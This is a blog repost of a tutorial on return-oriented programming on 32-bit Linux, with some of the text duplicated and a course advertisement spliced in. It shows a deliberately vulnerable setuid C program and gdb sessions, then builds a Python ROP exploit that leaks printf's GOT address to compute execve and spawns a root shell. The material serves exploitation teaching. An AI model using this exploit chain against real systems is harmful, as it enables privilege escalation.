An Introduction to Returned-Oriented Programming (Linux)
Selasa, 23 April 2013
0
komentar
http://resources.infosecinstitute.com/an-introduction-to-returned-oriented-programming-linux
INTRODUCTION:
In 1988, the first buffer overflow was exploited to compromise many systems. After 20 years, applications are still vulnerable, despite the efforts made in hope to reduce their vulnerability.
In the past, the most complex priority was discovering bugs, and nobody cared about writing exploits because it was so easy. Nowadays, exploiting buffer overflows is also difficult because of advanced defensive technologies.
Some strategies are adopted in combination to make exploit development more difficult than ever like ASLR, Non-executable memory sections, etc.
In this tutorial, we will describe how to defeat or bypass ASLR, NX, ASCII ARMOR, SSP and RELRO protection in the same time and in a single attempt using a technique called Returned Oriented Programming.
Let’s begin with some basic/old definitions:
→ NX: non-executable memory section (stack, heap), which prevent the execution of an arbitrary code. This protection was easy to defeat it if we make a correct ret2libc and also borrowed chunk techniques.
→ ASLR: Address Space Layout Randomization that randomizes a section of memory (stack, heap and shared objects). This technique is bypassed by brute forcing the return address.
→ ASCII ARMOR: maps libc addresses starting with a NULL byte. This technique is used to prevent ret2lib attacks, hardening the binary.
→ RELRO: another exploit mitigation technique to harden ELF binaries. It has two modes:
Compile command: gcc -Wl,-z,relro -o bin file.c
→ SSP: Stack Smashing Protection:
Our Exploit will bypass all those mitigations, and make a reliable exploit.
So let’s go
OVERVIEW OF THE CODE:
Here is the vulnerable code. The binary and code are included in the last of tutorial.
First thing let’s explain what the code does.
It opens a filename, reads from it line by line and holds in1 as an offset of table and in2 as a value of this offset then it calls fill function to fill the array.
tab[in1]=in2 ;
So a buffer overflow occurred when in1 is the offset of return address, this we can write whatever there.
Let’s compile the vulnerable code:
And we check the resulting binary using checksec.sh
So the binary is hardened, but motivated attackers still succeed in their intent.
As we can see we can overwrite EIP directly, and if we assume that we can do that, the SSP does some checks to see if the return address has changed, if yes then our exploit will fail.
OWNING EIP:
Let’s open the binary with gdb and disassemble the main function:
Let’s create a simple file named ‘simo.txt’ and put the following:
We make some breakpoints:
In the first bpoints we see the return address
0xbffff7dc: is main return address
0xbfffd79c : the address of arr
If you’re familiar with stack frame, you’ll notice that we made a call: fill(1,10,arr)
then it does the following : arr[1]=10 ;
A clever hacker will notice that the offset between the address of arr and return address is 8240
(0xbffff7cc-0xbfffd79c = 8240) and because we are playing with integer values, then we must divide the result by 4 ( sizeof(int)) .so, 8240/4=2060.
So if we put an offset equal to 2060 we can write to EIP, let’s check:
Put the following in simo.txt:
The result is:
So we are successfully own EIP and bypassed Stack Smashing Protection.
Let’s build our exploit now.
BUILDING THE EXPLOIT:
Our aim now is to build a chained ROP to execute execve(). As we can see, we don’t have a GOT entry for this function and libc is randomized.
So what we will do first is to leak a libc function address for GOT then we will do some trivial calculation to get the exact execve libc address.
And remember that we cannot overwrite GOT because of « Full Relro » .
Let’s leak the address of printf (you can choose any GOT entry)
The offset between printf and execve is 328160.
So if we add the address of printf libc to 328160 we get the execve libc address dynamically by leaking the printf address that is loaded in GOT.
So we must find some ROPs
The next step is finding some useful gadgets to build a chain of instructions. We’ll use ROPEME to do that.
We generate a .ggt file which contains some instructions finished by a ret.
Our purpose is to do some instruction, then return into our controlled code.
We need those useful gadgets to build our exploit.
So let’s build our ROP using those gadgets.
Our attack then: load 328160 into EAX, 0x138e9ff4 into EBX. You’ll ask me what is 0x138e9ff4?
Well we have a gadget like this:
ebx-0xb8a0008= printf@got then , ebx = printf@got+ 0xb8a0008 = 0x138e9ff4
So EAX = 328160 and EBX = 0x138e9ff4.
When «add eax [ebx-0xb8a0008]» executed EAX will contain the address of execve dynamically
After that, we make call%eax to execute our command and don’t forget to put the correct parameters on the stack.
There is a small problem which must be resolved. When the leave instruction is executed, it loads the saved return address of the main lead losing our controlled data. The solution is easy; like what we did earlier. Some trivial calculations, and we get the correct saved return address.
We continue.
When «leave » is executed, ESP points to another area that we are not able to control.
Let’s predict where ESP points exactly: as we did earlier, we subtract arr address from ESP and dividing by 4: (0xbffff84c-0xbfffd79c)/4 = 2092
So our payload will look like this:
Let’s see what happens:
It works!
So EAX contains the address of execve and we still control EIP. The next step is to find some a printable string and two null values to make parameters for execve.
We search inside the binary using objdump:
0x0x8048154 points to a printable ASCII: « GNU » and 8048158 points to NULL bytes.
Our exploit is then: execve(0x 8048158, 0×8048154, 0×8048154). But we don’t have GNU as a command, well we will create a wrapper named GNU.c :
Then add path where GNU is located to $PATH variable environment :
export PATH=/yourpath/:$PATH
Our final exploit :
let’s run our attack :
It works, so we successfully got the shell with SUID privileges, and we bypassed all exploit mitigations in one attempt .
If you opened the binary with gdb you’ll notice that the addresses changed during the execution of process, and our exploit is still reliable and resolves execve reliably.
Conclusion:
We presented a new attack against programs vulnerable to stack overflows to bypass two of the most widely used protections (NX & ASLR) including some others (Full RELRO,ASCII ARMOR, SSP) .
With our exploit, we extracted the address space from vulnerable process information about random addresses of some libc functions to mount a classical ret2libc attack.
References :
PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP
EXPLOITS
http://force.vnsecurity.net/download/longld/BHUS10_Paper_Payload_already_inside_data_reuse_for_ROP_exploits.pdf
Surgically returning to randomized lib(c)
http://security.dico.unimi.it/~gianz/pubs/acsac09.pdf
INTRODUCTION:
In 1988, the first buffer overflow was exploited to compromise many systems. After 20 years, applications are still vulnerable, despite the efforts made in hope to reduce their vulnerability.
In the past, the most complex priority was discovering bugs, and nobody cared about writing exploits because it was so easy. Nowadays, exploiting buffer overflows is also difficult because of advanced defensive technologies.
Some strategies are adopted in combination to make exploit development more difficult than ever like ASLR, Non-executable memory sections, etc.
In this tutorial, we will describe how to defeat or bypass ASLR, NX, ASCII ARMOR, SSP and RELRO protection in the same time and in a single attempt using a technique called Returned Oriented Programming.
Let’s begin with some basic/old definitions:
→ NX: non-executable memory section (stack, heap), which prevent the execution of an arbitrary code. This protection was easy to defeat it if we make a correct ret2libc and also borrowed chunk techniques.
→ ASLR: Address Space Layout Randomization that randomizes a section of memory (stack, heap and shared objects). This technique is bypassed by brute forcing the return address.
→ ASCII ARMOR: maps libc addresses starting with a NULL byte. This technique is used to prevent ret2lib attacks, hardening the binary.
→ RELRO: another exploit mitigation technique to harden ELF binaries. It has two modes:
- Partial Relro: reordering ELF sections (.got, .dtors and .ctors will precede .data/.bss section) and make GOT much safer. But PLT GOT still writable, and the attacker still overwrites it.
Compile command: gcc -Wl,-z,relro -o bin file.c
- Full Relro: GOT is remapped as READ-ONLY, and it supports all Partial RELRO features.
→ SSP: Stack Smashing Protection:
Our Exploit will bypass all those mitigations, and make a reliable exploit.
So let’s go
OVERVIEW OF THE CODE:
Here is the vulnerable code. The binary and code are included in the last of tutorial.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | #include #include #include #include <sys/types.h> #include <sys/stat.h> #include #include void fill( int , int , int *); int main( int argc, char ** argv) { FILE * fd; int in1,in2; int arr[2048]; char var[20]; if (argc !=2){ printf ("usage : %s n",*argv); exit (-1); } fd = fopen (argv[1],"r"); if (fd == NULL) { fprintf (stderr,"%sn", strerror ( errno )); exit (-2); } memset (var,0, sizeof (var)); memset (arr,0,2048* sizeof ( int )); while ( fgets (var,20,fd)) { in1 = atoll(var); fgets (var,20,fd); in2 = atoll(var); /* fill array */ fill(in1,in2,arr); } } void fill( int of, int val, int *tab) { tab[of]=val; } |
It opens a filename, reads from it line by line and holds in1 as an offset of table and in2 as a value of this offset then it calls fill function to fill the array.
tab[in1]=in2 ;
So a buffer overflow occurred when in1 is the offset of return address, this we can write whatever there.
Let’s compile the vulnerable code:
1 2 3 | gcc -o vuln2 vuln2.c -fstack-protector -Wl,-z,relro,-z,now chown root:root vuln2 chmod +s vuln2 |
1 2 3 4 | user@protostar:~/course$ checksec.sh --file vuln2 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH vuln2 user@protostar:~/course$ |
As we can see we can overwrite EIP directly, and if we assume that we can do that, the SSP does some checks to see if the return address has changed, if yes then our exploit will fail.
OWNING EIP:
Let’s open the binary with gdb and disassemble the main function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | gdb$ disas main Dump of assembler code for function main: 0x08048624
... 0x08048754
0x0804875b
0x0804875f
0x08048763
0x0804876a
0x0804876e
0x08048775
0x08048778
0x0804877d
0x08048784
... |
Let’s create a simple file named ‘simo.txt’ and put the following:
1 2 | 1 10 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | gdb$ b *main Breakpoint 1 at 0x8048624 gdb$ b *0x08048778 Breakpoint 2 at 0x8048778 gdb$ run file Breakpoint 1, 0x08048624 in main () gdb$ x/x $esp 0xbffff7cc: 0xb7eabc76 gdb$ continue Breakpoint 2, 0x08048778 in main () gdb$ x/4x $esp 0xbfffd770: 0x00000001 0x0000000a 0xbfffd79c 0x00000000 gdb$ x/i 0x08048778 0x8048778 <main+340>: call 0x80487be gdb$ |
0xbffff7dc: is main return address
0xbfffd79c : the address of arr
If you’re familiar with stack frame, you’ll notice that we made a call: fill(1,10,arr)
then it does the following : arr[1]=10 ;
A clever hacker will notice that the offset between the address of arr and return address is 8240
(0xbffff7cc-0xbfffd79c = 8240) and because we are playing with integer values, then we must divide the result by 4 ( sizeof(int)) .so, 8240/4=2060.
So if we put an offset equal to 2060 we can write to EIP, let’s check:
Put the following in simo.txt:
1 2 | 2060 1094861636 |
1 2 3 4 5 6 7 8 | Program received signal SIGSEGV, Segmentation fault. --------------------------------------------------------------------------[regs] EAX: 00000000 EBX: B7FD5FF4 ECX: B7FDF000 EDX: 00000000 o d I t s Z a P c ESI: 00000000 EDI: 00000000 EBP: BFFFF848 ESP: BFFFF7D0 EIP: 41424344 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop: Cannot access memory at address 0x41424344 0x41424344 in ?? () gdb$ |
Let’s build our exploit now.
BUILDING THE EXPLOIT:
Our aim now is to build a chained ROP to execute execve(). As we can see, we don’t have a GOT entry for this function and libc is randomized.
So what we will do first is to leak a libc function address for GOT then we will do some trivial calculation to get the exact execve libc address.
And remember that we cannot overwrite GOT because of « Full Relro » .
1 2 3 4 5 6 7 8 9 10 11 12 13 | readelf -r vuln2 08049fcc 00000107 R_386_JUMP_SLOT 00000000 __errno_location 08049fd0 00000207 R_386_JUMP_SLOT 00000000 strerror 08049fd4 00000307 R_386_JUMP_SLOT 00000000 __gmon_start__ 08049fd8 00000407 R_386_JUMP_SLOT 00000000 fgets 08049fdc 00000507 R_386_JUMP_SLOT 00000000 memset 08049fe0 00000607 R_386_JUMP_SLOT 00000000 __libc_start_main 08049fe4 00000707 R_386_JUMP_SLOT 00000000 atoll 08049fe8 00000807 R_386_JUMP_SLOT 00000000 fopen 08049fec 00000907 R_386_JUMP_SLOT 00000000 printf 08049ff0 00000a07 R_386_JUMP_SLOT 00000000 fprintf 08049ff4 00000b07 R_386_JUMP_SLOT 00000000 __stack_chk_fail 08049ff8 00000c07 R_386_JUMP_SLOT 00000000 exit |
Want to learn more?? The InfoSec Institute Reverse Engineering course teaches you everything from reverse engineering malware to discovering vulnerabilities in binaries. These skills are required in order to properly secure an organization from today's ever evolving threats. In this 5 day hands-on course, you will gain the necessary binary analysis skills to discover the true nature of any Windows binary. You will learn how to recognize the high level language constructs (such as branching statements, looping functions and network socket code) critical to performing a thorough and professional reverse engineering analysis of a binary. Some features of this course include:
- CREA Certification
- 5 days of Intensive Hands-On Labs
- Hostile Code & Malware analysis, including: Worms, Viruses, Trojans, Rootkits and Bots
- Binary obfuscation schemes, used by: Hackers, Trojan writers and copy protection algorithms
- Learn the methodologies, tools, and manual reversing techniques used real world situations in our reversing lab.
1 2 3 4 5 6 7 | gdb$ x/x 0x08049fec 0x8049fec <_GLOBAL_OFFSET_TABLE_+44>: 0xb7edbf90 gdb$ p execve $9 = {} 0xb7f2c170 gdb$ p 0xb7f2c170-0xb7edbf90 $10 = 328160 gdb$ |
So if we add the address of printf libc to 328160 we get the execve libc address dynamically by leaking the printf address that is loaded in GOT.
1 | execve = printf @libc+ 328160 |
The next step is finding some useful gadgets to build a chain of instructions. We’ll use ROPEME to do that.
We generate a .ggt file which contains some instructions finished by a ret.
Our purpose is to do some instruction, then return into our controlled code.
1 | ROPeMe> generate vuln 6 |
1 2 3 | 0x804886eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx 0x804861fL: call eax ; leave ;; 0x804849cL: pop eax ; pop ebx ; leave ;; |
Our attack then: load 328160 into EAX, 0x138e9ff4 into EBX. You’ll ask me what is 0x138e9ff4?
Well we have a gadget like this:
1 | 0x804886eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx |
So EAX = 328160 and EBX = 0x138e9ff4.
When «add eax [ebx-0xb8a0008]» executed EAX will contain the address of execve dynamically
After that, we make call%eax to execute our command and don’t forget to put the correct parameters on the stack.
There is a small problem which must be resolved. When the leave instruction is executed, it loads the saved return address of the main lead losing our controlled data. The solution is easy; like what we did earlier. Some trivial calculations, and we get the correct saved return address.
1 2 3 4 | 0x8048778 <main+340>: call 0x80487be Breakpoint 1, 0x08048778 in main () gdb$ x/4x $esp 0xbfffd770: 0x0000080c 0x0804849c 0xbfffd79c 0x00000000 |
1 2 3 4 | 0x804849f <_init+47>: ret 0x0804849f in _init () gdb$ x/x $esp 0xbffff84c: 0x0804886e |
Let’s predict where ESP points exactly: as we did earlier, we subtract arr address from ESP and dividing by 4: (0xbffff84c-0xbfffd79c)/4 = 2092
So our payload will look like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #!/usr/bin/python r = "n" p = str ( 2060 ) + r # offset of return address p + = str ( 0x804849c ) + r # pop eax ; pop ebx ; leave ;; p + = str ( 2061 ) + r p + = str ( 328160 ) + r # EAX p + = str ( 2062 ) + r p + = str ( 0x138e9ff4 ) + r # EBX p + = str ( 2092 ) + r p + = str ( 0x804886e ) + r # add eax [ebx-0xb8a0008] ; add esp 0x4 #; pop ebx p + = str ( 2096 ) + r p + = str ( 0x41414141 ) + r o = open ("simo.txt","wb") o.write(p) o.close() |
1 2 3 4 5 6 7 8 9 10 | Program received signal SIGSEGV, Segmentation fault. --------------------------------------------------------------------------[regs] EAX: B7F2C170 EBX: 00000002 ECX: B7FDF000 EDX: 00000000 o d I t S z a p c ESI: 00000000 EDI: 00000000 EBP: BFFFF874 ESP: BFFFF860 EIP: 41414141 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop: Cannot access memory at address 0x41414141 0x41414141 in ?? () gdb$ x/x $eax 0xb7f2c170 : 0x8908ec83 gdb$ |
So EAX contains the address of execve and we still control EIP. The next step is to find some a printable string and two null values to make parameters for execve.
We search inside the binary using objdump:
1 2 3 4 5 6 7 8 | user@protostar:~/course$ objdump -s vuln2 |more vuln2: file format elf32-i386 Contents of section .interp: 8048134 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so 8048144 2e3200 .2. Contents of section .note.ABI-tag: 8048148 04000000 10000000 01000000 474e5500 ............GNU. 8048158 00000000 02000000 06000000 12000000 ................ |
Our exploit is then: execve(0x 8048158, 0×8048154, 0×8048154). But we don’t have GNU as a command, well we will create a wrapper named GNU.c :
1 2 3 4 5 6 7 | #include /* compile : gcc -o GNU GNU.c int main() { char *args[]={"/bin/sh",NULL}; execve(args[0],args,NULL); } |
export PATH=/yourpath/:$PATH
Our final exploit :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #!/usr/bin/python r = "n" p = str ( 2060 ) + r # offset of return address p + = str ( 0x804849c ) + r # pop eax ; pop ebx ; leave ;; p + = str ( 2061 ) + r p + = str ( 328160 ) + r # offset between printf and execve p + = str ( 2062 ) + r p + = str ( 0x138e9ff4 ) + r # printf@got + 0xb8a0008 p + = str ( 2092 ) + r p + = str ( 0x804886e ) + r # add eax [ebx-0xb8a0008] ; add esp 0x4 #; pop ebx p + = str ( 2096 ) + r p + = str ( 0x804861f ) + r #: call eax ; leave ;; p + = str ( 2097 ) + r p + = str ( 0x8048154 ) + r # "GNU" p + = str ( 2098 ) + r p + = str ( 0x8048158 ) + r # pointer to NULL p + = str ( 2099 ) + r p + = str ( 0x8049fb0 ) + r # pointer to NULL o = open ("simo.txt","wb") o.write(p) o.close() |
1 2 3 4 5 | user@protostar:~/course$ python exploit.py user@protostar:~/course$ ./vuln2 simo.txt # whoami root # |
If you opened the binary with gdb you’ll notice that the addresses changed during the execution of process, and our exploit is still reliable and resolves execve reliably.
Conclusion:
We presented a new attack against programs vulnerable to stack overflows to bypass two of the most widely used protections (NX & ASLR) including some others (Full RELRO,ASCII ARMOR, SSP) .
With our exploit, we extracted the address space from vulnerable process information about random addresses of some libc functions to mount a classical ret2libc attack.
References :
PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP
EXPLOITS
http://force.vnsecurity.net/download/longld/BHUS10_Paper_Payload_already_inside_data_reuse_for_ROP_exploits.pdf
Surgically returning to randomized lib(c)
http://security.dico.unimi.it/~gianz/pubs/acsac09.pdf
TERIMA KASIH ATAS KUNJUNGAN SAUDARA
Judul: An Introduction to Returned-Oriented Programming (Linux)
Ditulis oleh Unknown
Rating Blog 5 dari 5
Semoga artikel ini bermanfaat bagi saudara. Jika ingin mengutip, baik itu sebagian atau keseluruhan dari isi artikel ini harap menyertakan link dofollow ke http://androidjapane.blogspot.com/2013/04/an-introduction-to-returned-oriented.html. Terima kasih sudah singgah membaca artikel ini.Ditulis oleh Unknown
Rating Blog 5 dari 5
0 komentar:
Posting Komentar